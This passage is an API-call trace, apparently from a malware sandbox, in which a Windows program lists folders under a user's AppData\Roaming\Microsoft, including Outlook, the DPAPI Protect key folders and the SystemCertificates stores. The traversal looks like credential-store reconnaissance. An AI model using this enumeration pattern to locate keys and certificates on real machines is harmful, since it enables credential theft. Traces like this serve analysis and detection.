lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\outlook"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa9a2a940, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc6de8c40, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc6de8c40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x33 [0068.723] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.723] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x33 [0068.723] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Outlook\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.724] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x31 [0068.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\proof"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3f577b70, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3f577b70, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3f577b70, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x31 [0068.724] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.724] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x31 [0068.724] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.724] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x33 [0068.724] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\protect"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xbe05fdf0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbe05fdf0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.724] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x33 [0068.724] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.725] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.725] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x62 [0068.725] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1534390919-4215197118-2202912847-1000"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xbe05fdf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xbe1dcbb0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xbe1dcbb0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.725] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x62 [0068.725] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.725] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.725] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x62 [0068.725] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.725] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.725] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x61 [0068.725] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa807d7f0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.725] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x61 [0068.725] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.726] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.726] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500", lpFilePart=0x0) returned 0x61 [0068.726] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.727] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.727] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x33 [0068.727] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.727] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x35 [0068.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\publisher"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5f0354d0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x6ecd04b0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x6ecd04b0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x35 [0068.728] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.728] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher", lpFilePart=0x0) returned 0x35 [0068.728] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.728] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x32 [0068.728] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\speech"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0x71710b30, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x71710b30, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.728] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x32 [0068.728] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.729] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x38 [0068.729] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\speech\\files"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x71710b30, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x71710b30, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x71710b30, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x38 [0068.729] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.729] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x45 [0068.729] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\speech\\files\\userlexicons"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x71710b30, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x71710b30, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x71710b30, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x45 [0068.729] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.729] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.729] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons", lpFilePart=0x0) returned 0x45 [0068.729] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\UserLexicons\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.729] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files", lpFilePart=0x0) returned 0x38 [0068.730] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\Files\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.730] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech", lpFilePart=0x0) returned 0x32 [0068.730] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.730] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3e [0068.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpFilePart=0x0) returned 0x3e [0068.730] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.730] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x41 [0068.730] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpFilePart=0x0) returned 0x41 [0068.731] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.731] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4e [0068.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4e [0068.731] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.731] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", lpFilePart=0x0) returned 0x4e [0068.731] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.731] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", lpFilePart=0x0) returned 0x46 [0068.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xa7fbf110, 